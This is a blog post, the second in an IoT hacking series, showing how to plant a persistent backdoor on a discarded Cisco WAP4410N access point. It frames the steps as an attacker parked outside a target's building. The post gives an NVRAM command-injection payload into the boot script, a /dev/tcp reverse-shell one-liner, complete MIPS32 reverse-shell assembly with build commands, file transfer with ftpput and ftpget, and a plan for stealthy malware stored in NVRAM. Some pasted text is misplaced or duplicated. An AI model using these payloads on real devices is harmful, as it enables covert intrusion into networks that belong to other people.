Iot Hacking Part 2 (Persistence)

Posted on Aug 22, 2025

Just when you thought this series was dead, here comes part two. Hard to believe it’s been almost a year since the first post dropped, but paying customers always come first, and the first half of 2025 left little time for side projects.

Now that we’ve finally arrived at this point, I hope the wait has been worth it. IoT doesn’t move at the breakneck speed of mainstream IT. These devices often stay in production for years, rarely patched, and almost never rebuilt from the ground up. The patterns we explore here tend to outlive the hardware itself, which means the lessons remain relevant long after a specific device is retired.

A quick recap of part one: we pulled a Cisco WAP4410N out of a dumpster and started tearing it apart. With physical access, it didn’t take long before we had full control. We extracted stored credentials, collected PSKs, and gained root through the UART interface. So, where does a hacker go from there?

A few scenarios open up. With the harvested passwords and keys, one option is to go wardriving in search of matching SSIDs. Chances are the organization that threw away this unit didn’t bother changing credentials on their other access points.

Once the SSID is found, it’s trivial to connect from a distance, say from a car parked nearby and gain a foothold inside their wireless network. But no one wants to sit in a parking lot forever. The logical next step is persistence: planting a backdoor so the device calls home and gives you access whenever you need it, from the comfort of your own hacker lair.

A backdoor is a typically covert method of bypassing normal authentication or encryption in a computer, product, embedded device (e.g. a home router), or its embodiment (e.g. part of a cryptosystem, algorithm, chipset, or even a “homunculus computer”—a tiny computer-within-a-computer such as that found in Intel’s AMT technology)

So here’s the scenario we’re picturing: the hacker is parked outside the target’s building, quietly connected to their Wi-Fi with stolen creds. The next move? Figuring out how to slip a backdoor into the WAP4410N.

Recon

At this stage, a hacker has a few possible routes. One option is the hardcore path: dump the flash chip, or even desolder it entirely, then modify the firmware to sneak in a rootkit. Powerful, but not exactly practical when you’re sitting in a car outside the target’s office.

Sure, you could try pushing a custom firmware update over the air, but I’d argue for something a little softer, a little sneakier. After all, we already have root. Dropping a hook into the device’s startup sequence should be trivial… or should it?

No more fumbling with UART—at this point we can switch over to SSH for a far more stable connection. The only catch? This box still relies on ancient crypto algorithms that modern SSH clients refuse to touch by default. The fix is simple: just drop a few lines into your ~/.ssh/config and you’re good to go.

Host 192.168.1.112
  HostName 192.168.1.112 
  User admin
  HostKeyAlgorithms +ssh-rsa
  PubkeyAcceptedAlgorithms +ssh-rsa

And now we can connect with ssh like this:

 ~/ ssh 192.168.1.112
[email protected]'s password: 


BusyBox v1.1.0 (2014.01.10-02:35+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

[VAP0 @ wap88a74c]# 

Before diving into scans and service hunting, it makes sense to grab some basic system info. We’ve already peeked at the chips on the board, but let’s confirm what kind of CPU is actually running under the hood:

[VAP0 @ wap88a74c]# cat /proc/cpuinfo 
system type		: Atheros AR9100
processor		: 0
cpu model		: MIPS 24K V7.4
BogoMIPS		: 265.21
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 16
extra interrupt vector	: yes
hardware watchpoint	: yes
ASEs implemented	: mips16
VCED exceptions		: not available
VCEI exceptions		: not available

So we’re dealing with an Atheros AR9100 chipset running a MIPS 24K V7.4 CPU, a pretty typical combo for older embedded devices. Interesting, and very much in line with what we expected from this hardware class.Now that we know what’s powering the box, let’s move on and check what’s mounted in the filesystem.

[VAP0 @ wap88a74c]# mount
/dev/mtdblock2 on / type squashfs (ro)
/proc on /proc type proc (rw,nodiratime)
ramfs on /var type ramfs (rw)
ramfs on /tmp type ramfs (rw)
devpts on /dev/pts type devpts (rw)

So what does this tell us? The root filesystem lives on a squashfs image, which is read-only by design. That means we won’t be dropping persistent files there without some extra tricks. On the other hand, /var and /tmp are writable ramfs mounts—handy for staging payloads or temporary configs, but everything disappears on reboot. In short: persistence won’t come from just copying a file to disk. We’ll need something smarter. Let’s start scanning the device for real.

Scanning

First, let’s check what commands we actually have available:

[VAP0 @ wap88a74c]# ls -la /bin/
lrwxrwxrwx    1 0        0               7 watch -> busybox
lrwxrwxrwx    1 0        0               7 vi -> busybox
lrwxrwxrwx    1 0        0               7 umount -> busybox
lrwxrwxrwx    1 0        0               7 touch -> busybox
lrwxrwxrwx    1 0        0               7 sleep -> busybox
lrwxrwxrwx    1 0        0               7 sh -> busybox
lrwxrwxrwx    1 0        0               7 sed -> busybox
lrwxrwxrwx    1 0        0               7 rm -> busybox
lrwxrwxrwx    1 0        0               7 pwd -> busybox
lrwxrwxrwx    1 0        0               7 ps -> busybox
lrwxrwxrwx    1 0        0               7 ping6 -> busybox
lrwxrwxrwx    1 0        0               7 ping2file -> busybox
lrwxrwxrwx    1 0        0               7 ping -> busybox
lrwxrwxrwx    1 0        0               7 mv -> busybox
lrwxrwxrwx    1 0        0               7 mount -> busybox
lrwxrwxrwx    1 0        0               7 mkdir -> busybox
lrwxrwxrwx    1 0        0               7 ls -> busybox
lrwxrwxrwx    1 0        0               7 login -> busybox
lrwxrwxrwx    1 0        0               7 ln -> busybox
lrwxrwxrwx    1 0        0               7 kill -> busybox
lrwxrwxrwx    1 0        0               7 hostname -> busybox
lrwxrwxrwx    1 0        0               7 grep -> busybox
lrwxrwxrwx    1 0        0               7 fgrep -> busybox
lrwxrwxrwx    1 0        0               7 egrep -> busybox
lrwxrwxrwx    1 0        0               7 echo -> busybox
lrwxrwxrwx    1 0        0               7 dmesg -> busybox
lrwxrwxrwx    1 0        0               7 df -> busybox
lrwxrwxrwx    1 0        0               7 date -> busybox
lrwxrwxrwx    1 0        0               7 cp -> busybox
lrwxrwxrwx    1 0        0               7 chmod -> busybox
lrwxrwxrwx    1 0        0               7 cat -> busybox
-rwxr-xr-x    1 0        0          526260 busybox
lrwxrwxrwx    1 0        0               7 ash -> busybox
-r--r--r--    1 0        0               0 .dummy
drwxr-xr-x   15 0        0             149 ..
drwxr-xr-x    2 0        0             323 .

No surprises here, it’s a classic BusyBox environment. Almost every command is just a symlink pointing back to the single BusyBox binary. That means we get a lean, minimal toolkit rather than a full GNU/Linux userland. Let’s dig a little deeper and see what lives under /sbin/:

[VAP0 @ wap88a74c]# ls -la /sbin/
-rwxr-xr-x    1 0        0           23116 wlanconfig
lrwxrwxrwx    1 0        0              14 route -> ../bin/busybox
lrwxrwxrwx    1 0        0              14 rmmod -> ../bin/busybox
lrwxrwxrwx    1 0        0              14 reboot -> ../bin/busybox
-rwxr-xr-x    1 0        0           67728 rc
-rwxr-xr-x    1 0        0           16327 radartool
-rwxr-xr-x    1 0        0           54431 pktlogdump
-rwxr-xr-x    1 0        0           12346 pktlogconf
lrwxrwxrwx    1 0        0              14 lsmod -> ../bin/busybox
lrwxrwxrwx    1 0        0              14 insmod -> ../bin/busybox
lrwxrwxrwx    1 0        0              14 init -> ../bin/busybox
lrwxrwxrwx    1 0        0              14 ifconfig -> ../bin/busybox
-rwxr-xr-x    1 0        0           27722 hostapd_cli
-rwxr-xr-x    1 0        0          827906 hostapd
-rwxr-xr-x    1 0        0           18172 hcmd
lrwxrwxrwx    1 0        0              14 brctl -> ../bin/busybox
-rwxr-xr-x    1 0        0            7806 athstatsclr
-rwxr-xr-x    1 0        0           40204 athstats
-rwxr-xr-x    1 0        0           20425 80211stats
-r--r--r--    1 0        0               0 .dummy
drwxr-xr-x   15 0        0             149 ..
drwxr-xr-x    2 0        0             254 .

Now this is more interesting. Alongside the usual BusyBox symlinks, we’ve got a handful of proprietary tools tied directly to the wireless stack: hostapd and hostapd_cli → the heart of the access point, controlling authentication and WPA handshakes. wlanconfig, athstats, 80211stats, radartool → vendor-specific utilities for configuring and monitoring the Atheros chipset.

rc → a custom init-style script that likely governs the boot sequence and service startup. pktlogdump / pktlogconf → packet logging tools, potentially exposing rich debug info about traffic.

The takeaway: /sbin/ is where the real attack surface lives. Unlike the generic BusyBox commands, these binaries are unique to the firmware and almost certainly less scrutinized. If we want persistence, hijacking rc would be a prime candidate.

Next stop: /etc/rcS, the script that kicks everything into motion during boot. Here’s what it looks like:

[VAP0 @ wap88a74c]# cat /etc/rcS
#!/bin/sh

export PATH=$PATH:/sbin:/bin:/usr/sbin:/usr/bin:/etc/ath

UTC=yes

# This script runs when init it run during the boot process.
# Mounts everything in the fstab

mount -n -t proc proc /proc
mount -n -t ramfs ramfs /var
mount -n -t ramfs ramfs /tmp
mount -n -t devpts devpts /dev/pts
mount -o remount +w /

# build var directories 
chmod 777 /tmp
chmod 777 /var
/bin/mkdir -m 0777 /tmp/var
/bin/mkdir -m 0777 /tmp/var/run
/bin/mkdir -m 0777 /tmp/hw_info
/bin/mkdir -m 0777 /var/lock
/bin/mkdir -m 0777 /var/log
/bin/mkdir -m 0777 /var/run
/bin/mkdir -m 0777 /var/tmp

##
## Put the names of the interfaces in the environmental variables
## (They can be board unique)
##
export ETH0=eth0
export ETH1=eth1

echo "insmod ag7100_mod.ko"
insmod  /lib/modules/2.6.15/net/ag7100_mod.ko

ifconfig lo up

echo "insmod led.ko"
insmod /lib/modules/led.ko

echo "insmod push_button.ko"
insmod /lib/modules/push_button.ko

echo b1000 > /proc/led

echo "/usr/sbin/pb_ap Running............"
/usr/sbin/pb_ap&

echo "/usr/sbin/led_ap Running............"
/usr/sbin/led_ap&

echo "/usr/sbin/networkIntegrality Running.........."
/usr/sbin/networkIntegrality &

echo "/usr/sbin/rc init Running............"
/usr/sbin/rc init

echo "/usr/sbin/scfgmgr init Running............"
/usr/sbin/scfgmgr

/usr/sbin/cmd_agent
/usr/sbin/download 
/usr/sbin/loadbalance&

echo "/usr/sbin/rc start Running............"

rc bridge start
rc lan start
rc ip start
rc ipv6 start
rc telnetd start
rc httpd start
rc ntp start
rc syslogd start
rc snmp start

rc wlan start

rc stp start
rc lld2 start
rc lanDot1xSupp start
rc wins restart

rc httpredirect restart
rc sshd start
rc mdns restart
free_check &
#open apply function
scapply open&
echo b1 > /proc/led
echo q > /proc/led
echo 5 > /proc/sys/kernel/panic

This script is the backbone of the device. It handles everything from mounting filesystems and creating runtime directories, to loading kernel modules (ag7100_mod.ko, led.ko, push_button.ko), and finally kicking off all the critical daemons: rc, scfgmgr, httpd, telnetd, sshd, wlan, and so on.

The main takeaway: this script controls startup, which makes it the ideal persistence hook—anything added here would run on every boot. The catch is that / is read-only, so we can’t just edit rcS directly. That makes the rc binary itself the real centerpiece. If we want persistence, it’s likely hiding there.

Before digging deeper into rc, it makes sense to take stock of what other tools are at our disposal. Starting with /usr/bin/:

[VAP0 @ wap88a74c]# ls -la /usr/bin/
lrwxrwxrwx    1 0        0              17 xargs -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 which -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 top -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 tftp -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 test -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 tail -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 passwd -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 killall -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 ftpput -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 ftpget -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 free -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 cut -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 [[ -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 [ -> ../../bin/busybox
drwxr-xr-x    7 0        0              81 ..
drwxr-xr-x    2 0        0             142 .

Nothing too surprising here—it’s mostly BusyBox symlinks—but a couple of gems stand out. The presence of ftpput and ftpget means we have built-in ways to move files on and off the device. That’s going to be very handy. Next up, /usr/sbin/:

[VAP0 @ wap88a74c]# ls -la /usr/sbin/
-rwxr-xr-x    1 0        0           45548 wscupnpd
-rwxr-xr-x    1 0        0          257616 wpa_supplicant
-rwxr-xr-x    1 0        0          553976 wpa_client
-rwxr-xr-x    1 0        0           10020 wlan_check
-rwxr-xr-x    1 0        0           14772 wins
-rwxr-xr-x    1 0        0           32141 wds_passphrase
-rwxr-xr-x    1 0        0           14136 vconfig
-rwxr-xr-x    1 0        0           14332 up_load
-rwxr-xr-x    1 0        0           48624 udhcpd
lrwxrwxrwx    1 0        0               6 udhcpc -> udhcpd
-rwxr-xr-x    1 0        0             566 tftp_cmd
lrwxrwxrwx    1 0        0              17 telnetd -> ../../bin/busybox
-rwxr-xr-x    1 0        0           28836 syslogd
-rwxr-xr-x    1 0        0            2398 sshd.init
-rwxr-xr-x    1 0        0         1476792 sshd
-rwxr-xr-x    1 0        0          463476 snmptrap[VAP0 @ wap88a74c]# ls -la /usr/sbin/
-rwxr-xr-x    1 0        0           45548 wscupnpd
-rwxr-xr-x    1 0        0          257616 wpa_supplicant
-rwxr-xr-x    1 0        0          553976 wpa_client
-rwxr-xr-x    1 0        0           10020 wlan_check
-rwxr-xr-x    1 0        0           14772 wins
-rwxr-xr-x    1 0        0           32141 wds_passphrase
-rwxr-xr-x    1 0        0           14136 vconfig
-rwxr-xr-x    1 0        0           14332 up_load
-rwxr-xr-x    1 0        0           48624 udhcpd
lrwxrwxrwx    1 0        0               6 udhcpc -> udhcpd
-rwxr-xr-x    1 0        0             566 tftp_cmd
lrwxrwxrwx    1 0        0              17 telnetd -> ../../bin/busybox
-rwxr-xr-x    1 0        0           28836 syslogd
-rwxr-xr-x    1 0        0            2398 sshd.init
-rwxr-xr-x    1 0        0         1476792 sshd
-rwxr-xr-x    1 0        0          463476 snmptrap
-rwxr-xr-x    1 0        0         1136328 snmp
-rwxr-xr-x    1 0        0           18540 smtpc
-rwxr-xr-x    1 0        0           14392 scfgmgr
-rwxr-xr-x    1 0        0            5824 scapply
-rwxr-xr-x    1 0        0           95296 sar
-rwxr-xr-x    1 0        0           49632 sadc
-rwxr-xr-x    1 0        0            9968 rogueap
lrwxrwxrwx    1 0        0               8 rc -> /sbin/rc
-rwxr-xr-x    1 0        0            5848 pb_ap
-rwxr-xr-x    1 0        0           14596 nvram
-rwxr-xr-x    1 0        0           36136 ntp
-rwxr-xr-x    1 0        0            5820 networkIntegrality
-rwxr-xr-x    1 0        0           83192 mini_httpd
-rwxr-xr-x    1 0        0          206004 mDNSResponderPosix
-rwxr-xr-x    1 0        0           14576 loadbalance
-rwxr-xr-x    1 0        0           73560 lld2
-rwxr-xr-x    1 0        0            5844 led_ap
lrwxrwxrwx    1 0        0               7 klogd -> syslogd
-rwxr-xr-x    1 0        0           45184 iwpriv
-rwxr-xr-x    1 0        0           54052 iwlist
-rwxr-xr-x    1 0        0           57388 iwconfig
-rwxr-xr-x    1 0        0           10012 free_check

Now that’s interesting. Services like mini_httpd could open doors to web-based vulnerabilities, but the real treasure here is the nvram binary. Since NVRAM is non-volatile storage, anything we manage to inject there has the potential to survive reboots. In other words, it’s our best bet for persistence.

Conclusion: Between file transfer tools and the ability to directly interact with NVRAM, we now have what we need to move beyond reconnaissance and start looking seriously at where to plant our backdoor.

Reverse engineering rc

The logical next step is to pull the rc binary off the device so we can tear it apart in Ghidra. Sounds simple enough, right? Just scp it over and we’re done

 ~/Downloads/ scp 192.168.1.112:/sbin/rc .
admin@192.168.1.112's password: 
subsystem request failed on channel 0
scp: Connection closed

Except… not quite that simple. This SSH implementation doesn’t support subsystems like scp or sftp. So while we can open a shell, file transfers are off the table, at least the easy ones. Well we remember ftpput. A built-in way to exfiltrate files straight off the box. Perfect. All we need to do is spin up our own FTP server and let the device do the heavy lifting. To make file transfer easy, I spun up a quick vsftpd container. Using Docker, it looks like this:

~/Downloads/wap4410n docker run -d -v /home/f1rstr3am/Downloads/wap441n:/home/vsftpd \
-p 20:20 -p 21:21 -p 21100-21110:21100-21110 \
-e FTP_USER=f1rstr3am -e FTP_PASS=password \
-e PASV_ADDRESS=127.0.0.1 -e PASV_MIN_PORT=21100 -e PASV_MAX_PORT=21110 \
--name vsftpd --restart=always fauria/vsftpd
Unable to find image 'fauria/vsftpd:latest' locally
latest: Pulling from fauria/vsftpd
2d473b07cdd5: Pull complete 
33b95e46f70b: Pull complete 
e22029c8d9a7: Pull complete 
e1871c5d8fc9: Pull complete 
c17c1255c529: Pull complete 
ddcbab051542: Pull complete 
1c68b0b593f1: Pull complete 
dadb66293c59: Pull complete 
99a54b7a405b: Pull complete 
200facf93d0a: Pull complete 
16ecaf7d0305: Pull complete 
Digest: sha256:6d71d7c7f1b0ab2844ec7dc7999a30aef6d758b6d8179cf5967513f87c79c177
Status: Downloaded newer image for fauria/vsftpd:latest
07a1d6ae1e318771ba99ad0b5ad34c743a6534ac35b226d1dc5cefccbab80142

Once the FTP server is running, it’s just a matter of using the built-in ftpput tool on the device:

[VAP0 @ wap88a74c]# ftpput -u f1rstr3am -p password 192.168.1.227 rc /sbin/rc   
[VAP0 @ wap88a74c]# 

With the rc binary safely off the device, it’s time for the real fun, loading it up in Ghidra. But before diving straight into disassembly, let’s take a quick look at what we’ve got on our hands:

~/Downloads/wap4410n/f1rstr3am sudo chmod 777 rc 
[sudo] password for f1rstr3am: 
~/Downloads/wap4410n/f1rstr3am file rc
rc: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

And there it is: confirmation that we’re dealing with a 32-bit MIPS platform, big-endian, running on an ancient uClibc loader. Stripped, of course, because life wouldn’t be fun otherwise. Now that we know the target architecture, it’s time to roll up our sleeves, fire up Ghidra, and start dissecting.

Well it said it was stripped but at least all the symbols seems to be there since I can se all function names just fine. That will make things a lot easier. After some exploring I started to really zoom in on the rc_init function. This was actually the first call to rc from the rcS script so it’s really a good place to start.

Let’s start by digging into the rc_init function and see if we can spot anything interesting.

undefined4 rc_init(void)

{
  char cVar1;
  int iVar2;
  char *pcVar3;
  size_t sVar4;
  undefined4 uVar5;
  ssize_t sVar6;
  long lVar7;
  int iVar8;
  uint uVar9;
  uint uVar10;
  int iVar11;
  undefined4 local_40;
  undefined4 local_3c;
  undefined1 local_38;
  undefined1 auStack_30 [5];
  uint local_2b;
  byte local_27;
  byte local_26;
  byte local_25;
  uint local_20;
  byte local_1c;
  byte local_1b;
  byte local_1a;
  
  hw_info_read();
  country_list_generate();
  iVar2 = nvram_load();
  if (iVar2 == 0) {
    pcVar3 = (char *)nvram_safe_get("restore_defaults");
    cVar1 = *pcVar3;
  }
  else {
    SYSTEM("/bin/cp -f %s %s\n","/etc/default","/tmp/nvram");
    nvram_commit();
    pcVar3 = (char *)nvram_safe_get("restore_defaults");
    cVar1 = *pcVar3;
  }
  if (cVar1 == '1') {
    SYSTEM("/bin/busybox cp -f %s %s","/etc/default","/tmp/nvram");
    iVar11 = -1;
    FUN_00403668();
    local_40 = 0;
    local_3c = 0;
    local_38 = 0;
    iVar2 = open("/dev/mtdblock0",0);
    if (-1 < iVar2) {
      lseek(iVar2,0x3ff88,0);
      sVar6 = read(iVar2,&local_40,8);
      iVar8 = 0;
      if (sVar6 == 8) {
        pcVar3 = (char *)&local_40;
        do {
          if (9 < (byte)(*pcVar3 - 0x30U)) break;
          iVar8 = iVar8 + 1;
          pcVar3 = (char *)((int)&local_40 + iVar8);
        } while (iVar8 < 8);
        iVar11 = 0;
        if (iVar8 == 8) {
          lVar7 = atol((char *)&local_40);
          iVar11 = ValidateChecksum(lVar7);
        }
      }
      close(iVar2);
      if (iVar11 == 0) {
        get_mac(auStack_30);
        local_1c = local_27;
        local_20 = local_2b;
        local_1b = local_26;
        local_1a = local_25;
        iVar2 = 0;
        do {
          iVar11 = iVar2 + 1;
          *(byte *)((int)&local_20 + iVar2) = *(byte *)((int)&local_20 + iVar2) % 10;
          iVar2 = iVar11;
        } while (iVar11 < 7);
        uVar9 = local_20 >> 8 & 0xff;
        uVar10 = local_20 >> 0x10 & 0xff;
        sprintf((char *)&local_40,"%01d%01d%01d%01d%01d%01d%01d%01ld",local_20 >> 0x18,uVar10,uVar9,
                local_20 & 0xff,(uint)local_1c,(uint)local_1b,(uint)local_1a,
                (10 - (((local_20 >> 0x18) % 10) * 3 + uVar10 % 10 + (uVar9 % 10) * 3 +
                       (local_20 & 0xff) % 10 + ((uint)local_1c % 10) * 3 + (uint)local_1b % 10 +
                      ((uint)local_1a % 10) * 3) % 10) % 10);
        local_38 = 0;
      }
      nvram_set("wlan0_ssid0_pin",&local_40);
      nvram_set("wlan0_ssid1_pin",&local_40);
      nvram_set("wlan0_ssid2_pin",&local_40);
      nvram_set("wlan0_ssid3_pin",&local_40);
      nvram_set("wlan1_ssid0_pin",&local_40);
      nvram_set("wlan1_ssid1_pin",&local_40);
      nvram_set("wlan1_ssid2_pin",&local_40);
      nvram_set("wlan1_ssid3_pin",&local_40);
    }
    set_default_country();
    nvram_set("restore_defaults",&DAT_0040ccfc);
    nvram_commit();
  }
  else {
    pcVar3 = (char *)nvram_safe_get("sys_name");
    sVar4 = strlen(pcVar3);
    iVar2 = scValidHostName(pcVar3,sVar4 & 0xffff);
    if (iVar2 == 0) {
      fwrite("NOTE: restoring invalid hostname to default.\n",1,0x2d,stderr);
      FUN_00403668();
    }
    if (pcVar3 != (char *)0x0) {
      free(pcVar3);
    }
  }
  uVar5 = nvram_get("wlan0_ssid0_pin");
  SYSTEM("echo %s>/var/wps_pin",uVar5);
  SYSTEM("echo %s>/var/passwd","root::0:0:root:/:/bin/sh");
  SYSTEM("echo %s>>/var/passwd","nobody::99:99:Nobody:/:/sbin/sh");
  return 0;
}

There’s a lot going on in here, values being shuffled back and forth between NVRAM and the filesystem, pins being generated, defaults being restored. But one thing immediately jumps out:

uVar5 = nvram_get("wlan0_ssid0_pin");
SYSTEM("echo %s>/var/wps_pin",uVar5);

If we can control the value of wlan0_ssid0_pin, that string ends up passed straight into a shell command. That’s a textbook injection point. By slipping in a semicolon (;) and appending our own payload, we could hijack the boot sequence and achieve persistent RCE every time the device powers on.

Conclusion: rc_init hands us a potential golden ticket. The next step is to head back to the device and figure out if we can write or manipulate that NVRAM variable ourselves. If we can, persistence becomes trivial.

Analyzing NVRAM

Time to try out that nvram command.

[VAP0 @ wap88a74c]# nvram

Usage: nvram [show|get|set|unset|add|init|commit] [name=value]

Perfect. Not only can we read NVRAM variables, we can also set and commit them. Time to go hunting for that wlan0_ssid0_pin we saw earlier.

[VAP0 @ wap88a74c]# nvram get wlan0_ssid0_pin     
name=17458399

Looks like we can read it. But can we write to it?

[VAP0 @ wap88a74c]# nvram set wlan0_ssid0_pin=HACKED  
[VAP0 @ wap88a74c]# nvram get wlan0_ssid0_pin
name=HACKED

Yes we can. And that gives us a direct path to injection.

Gaining access

Testing injection in rc

Remember this snippet from rc_init?

SYSTEM("echo %s>/var/wps_pin",uVar5);

If we control the value of wlan0_ssid0_pin, we control what gets executed inside that SYSTEM call during boot. That means we can inject arbitrary commands straight into the startup sequence. Let’s test the theory with a simple payload:

[VAP0 @ wap88a74c]# nvram set wlan0_ssid0_pin=";echo PWN > /tmp/pwned; echo 17458399>/var/wps_pin"
[VAP0 @ wap88a74c]# nvram commit
[VAP0 @ wap88a74c]# nvram get wlan0_ssid0_pin
name=;echo PWN > /tmp/pwned; echo 17458399>/var/wps_pin

After committing, the change should persist across reboots. Since /tmp is writable, we expect a file named pwned to appear after the system restarts and rc init is called. Let’s reboot and check:


~/Downloads/wap4410n docker run -d -v /home/f1rstr3am/Downloads/wap441n:/home/vsftpd \
-p 20:20 -p 21:21 -p 21100-21110:21100-21110 \
[VAP0 @ wap88a74c]# reboot
ap_name=mdns,action=stop
Connection to 192.168.1.112 closed by remote host.
Connection to 192.168.1.112 closed.
~/Downloads ssh 192.168.1.112
admin@192.168.1.112's password: 


BusyBox v1.1.0 (2014.01.10-02:35+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

[VAP0 @ wap88a74c]# cat /tmp/pwned 
PWN

And there it is, RCE achieved inside the boot sequence, just by manipulating NVRAM variables. With this foothold, we can inject anything we want to run on startup. Now comes the real question: what payload do we want to drop here?

Designing a reverse shell

A “non ethical” attacker would probably put some effort into hiding their presence, blending traffic into normal-looking HTTP requests, for example, to slip past firewalls and monitoring systems. But since this isn’t a course in writing stealthy malware, we’ll keep it simple. Our goal here is just to prove the point by dropping a reverse shell. The obvious one-liner, something like:

sh -i >& /dev/tcp/192.168.1.227/1337 0>&1

…won’t work. This environment doesn’t have /dev/tcp/, and being a stripped-down BusyBox system, it also lacks conveniences like nc or Python. In fact, after digging through all the binaries we enumerated earlier, the only scripting language available is plain old sh. None of the other tools can be abused to open raw TCP connections.

So the conclusion was clear: if we want a reverse shell, we’ll have to bring our own binary. That sent me down a rabbit hole trying to get a GNU cross-compiler working with the device’s ancient ld-uClibc.so.0. Doable with enough persistence, but I chose the path of least resistance: write it in MIPS assembly, using direct syscalls. No libc, no dependencies, minimal footprint.

After some trial and error, a couple of rabbit holes, and a round of hand-tuning with help from my trusty AI assistant, I finally ended up with a working MIPS32 reverse shell in assembly:

.text
.globl __start

__start:
# socket ( 2, 2, 0 ) number=4183
    li $a0, 2
    li $a1, 2
    li $a2, 0
    li $v0, 4183
    syscall
    move $s0, $v0					            # store the socket file descriptor in $s0 for later use

# connect(sock, { AF_INET, htons(1337), inet_aton("10.10.10.139") }, 16)
    li     $t0, 2
    sh     $t0, -12($sp)                       # sin_family = AF_INET
    li     $t0, 1337                           # BE host == network, so 1337 is fine
    sh     $t0, -10($sp)                       # sin_port   = htons(1337)
    li     $t0, (192<<24)|(168<<16)|(1<<8)|227 # sin_addr.s_addr = 10.10.10.139
    sw     $t0, -8($sp)                        # aligned word store
    move   $a0, $s0                            # sockfd
    addiu  $a1, $sp, -12                       # &sockaddr_in
    li     $a2, 16                             # sizeof(sockaddr_in)
    li     $v0, 4170                           # __NR_connect (o32)
    syscall

# stdin
# dup2 ( sock_fd, 0 ) number=4063
    move $a0, $s0
    li $a1, 0
    li $v0, 4063
    syscall

# stdout
# dup2 ( sock_fd, 1 ) number=4063
    move $a0, $s0
    li $a1, 1
    li $v0, 4063
    syscall

# stderr
# dup2 ( sock_fd, 2 ) number=4063
    move $a0, $s0
    li $a1, 2
    li $v0, 4063
    syscall

# execve ( "0x2f62696e2f7368", ["0x2f62696e2f7368"], 0 )	number=4011
# Upper 32-bits: 0x2f 0x62 0x69 0x6e
# Lower 32-bits: 0x2f 0x73 0x68 0x00
    addiu  $sp, $sp, -16
    li     $t0, 0x2f62696e       # "/bin"
    sw     $t0, 8($sp)
    li     $t0, 0x2f736800       # "/sh\0"
    sw     $t0, 12($sp)

    addiu  $a0, $sp, 8           # path 
    sw     $a0, 0($sp)           # argv[0]
    sw     $zero, 4($sp)         # argv[1] = NULL
    move   $a1, $sp              # argv
    move   $a2, $zero            # envp = NULL
    li     $v0, 4011
    syscall

 # v0 = __NR_exit (MIPS o32 syscalls are 4000+)
    move   $a0, $zero
    li     $v0, 4001        # __NR_exit
    syscall               # does not return

It took a bit of wrestling to get this right. First we open a socket with syscall 4183, then we duplicate that socket onto stdin, stdout, and stderr using three calls to dup2 (4063). Finally, we spawn a shell with execve (4011), and if for some reason it exits, we clean up gracefully with exit (4001).

Now that we have the code, the next step is to assemble it. For that, I spun up an Ubuntu container with a MIPS cross-compiler installed.

root@f1dbed10da14:/# apt install gcc-mips-linux-gnu

With the assembly in place, the next step is building it into an actual binary. Using GCC with the MIPS cross-compiler, we can assemble and link it like this:

root@f1dbed10da14:/# mips-linux-gnu-gcc -nostdlib -nostartfiles -static -no-pie -Wl,-e,__start -Wl,--build-id=none -Wl,--gc-sections -Wl,--discard-all -Wl,--strip-all -march=mips32 -mabi=32 -EB -msoft-float -Os -s -o shell shell.S
root@f1dbed10da14:/# file shell
shell: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped

The result: a statically linked, stripped-down MIPS32 ELF binary, exactly what we want for this environment. Before risking the hardware, it’s always good to sanity-check the build. QEMU makes it easy:

root@f1dbed10da14:/# qemu-mips shell

And sure enough, our waiting netcat receives a hit:

~/Downloads nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.4 38998
id
uid=0(root) gid=0(root) groups=0(root)

Looks solid in emulation, time to drop it on the real hardware. Using the device’s built-in ftpget:

[VAP0 @ wap88a74c]# ftpget -u f1rstr3am -p password 192.168.1.227 shell shell
[VAP0 @ wap88a74c]# chmod +x shell
[VAP0 @ wap88a74c]# ./shell

And once again, our listener lights up, this time from the target itself:

~/Downloads/wap4410n/f1rstr3am nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 192.168.1.112 3650
ls
var
hw_info
country_list
nvram
pwned
cmd_agent
cpu_stat
www
htpasswd
syslog.conf
snmpd.conf
snmpdtrap.conf
cpu_stat_cgi
wlan0_up0
wlan0_up1
wlan0_up2
wlan0_up3
wlan0_up4
wlan0_up5
wsc_mac
chan_list
chan_curr
maxpwr_curr
wscdata_00.bin
dhcpc.conf
wlan_delif.ath00
dhcpc_test
wan_dhcp_server
dhcpc.lease
wanlease
wan_uptime
mDNSResponder.hold
shell

That’s it, our reverse shell running directly on the device. We now have code execution on demand. Conclusion: We’ve proven exploitation works. The next phase is about maintaining access, wrapping all of this up into a malware that persists across reboots and quietly keeps our foothold alive.

Maintaining access

Before jumping into writing malware to maintain access, let’s sketch out a plan. At this point we have our reverse shell as a working ELF binary. But the problem is persistence. There’s no writable, permanent storage on this device where we can safely park it.

One option would be to simply pull the binary from an FTP server at every boot, but that would be noisy and easy to spot. A stealthier approach is to base64-encode the ELF and stash it directly in NVRAM. That way it survives reboots, and we can reconstruct it whenever we need it.

Of course, there’s a catch: the device doesn’t ship with a base64 decoder. That means we’ll have to improvise some kind of encoding in pure Bash. If we can pull that off, we’ll store the decoder itself in NVRAM as well.

The flow would then look like this:

From our injection point in rc init, extract the Bash decoder from NVRAM, execute it and decode the base64-encoded reverse shell (which is also stored in NVRAM) back into an ELF binary under /tmp.

Wrap it all in a simple Bash watchdog that respawns the binary if it crashes, if the network drops, or if the admin reboots the device.

If we manage to bundle all of this into a single infection script, we’ll have a reliable, persistent foothold on any compromised device.

Creating a payload

